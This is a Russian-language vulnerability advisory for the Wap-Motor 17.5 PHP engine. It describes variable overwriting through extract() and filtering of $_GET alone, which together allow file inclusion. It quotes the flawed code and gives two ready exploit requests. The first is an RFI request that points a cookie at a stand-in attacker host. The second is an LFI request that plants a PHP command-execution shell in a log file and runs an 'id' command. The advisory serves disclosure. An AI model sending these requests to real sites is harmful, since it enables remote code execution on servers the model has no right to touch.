Сайт разработчика: http://visavi.net/
Уязвимые версии: Wap-Motor 17.5, возможно более ранние версии
Описание: сценарий
index.php подключает необходимые скрипты, первый из которых (
template/start.php) извлекает данные в текущую символьную таблицу, допуская перезапись переменных:
PHP код:
<?php
extract($HTTP_GET_VARS);
extract($HTTP_POST_VARS);
extract($HTTP_COOKIE_VARS);
extract($HTTP_SERVER_VARS);
extract($HTTP_SESSION_VARS);
?>
На основе переменных
$p и
$f составляется строка, которая впоследствии передается в функцию include (
index.php@48-56):
PHP код:
<?php
if(empty($f)){$f='index';}
echo $p.'/'.$f.'.'.$config_ras;
$sfx = file($p.'/'.$f.'.'.$config_ras);
if (!$sfx){
echo 'Файл с данными параметрами не найден!';
}else{
include_once $p.'/'.$f.'.'.$config_ras;
}
?>
Система предполагает получение переменных
$p и
$f со стороны пользователя, однако проверка данных проводится только в массиве $_GET (
index.php@23):
PHP код:
<?php
if(eregi("[^a-z0-9_-]",$_GET['f']) || eregi("[^a-z0-9_-]",$_GET['p'])){header ("Location: index.php?error&".SID); exit;}
?>
При передаче параметров
p и
f в cookie или в POST-запросе существует возможность обхода фильтрации и внедрения произвольных данных в функцию include.
RFI-эксплоит (для удачной эксплуатации на удаленном сервере необходимо создать файл s.mot с php-кодом, а также необходим
allow_url_include=on):
GET /index.php HTTP/1.0
Host: localhost
Cookie: p=http://eViLhOsT; f=s;
Connection: close
LFI-эксплоит (нужна сессия пользователя, а также необходим
magic_quotes_gpc=off):
GET /index.php/%3C%3Fphp+echo+%60%7B$_COOKIE%5B'c'%5D%7D%60%3B+%3 F%3E HTTP/1.0
Host: localhost
Cookie: p=local/who.dat%00; c=id; SID=qsm8nce7777k4tvkt0vfbiem41;
Connection: close
Несмотря на путь, будет запрошен скрипт
index.php, и в файл
local/who.dat, логирующий активность недавних пользователей, будет записан следующий код:
user|/index.php/
<?php echo `{$_COOKIE['c']}`; ?>|11|1218131297|
При этом произойдет обращение к
local/who.dat с параметром
c, который содержит команду для выполнения.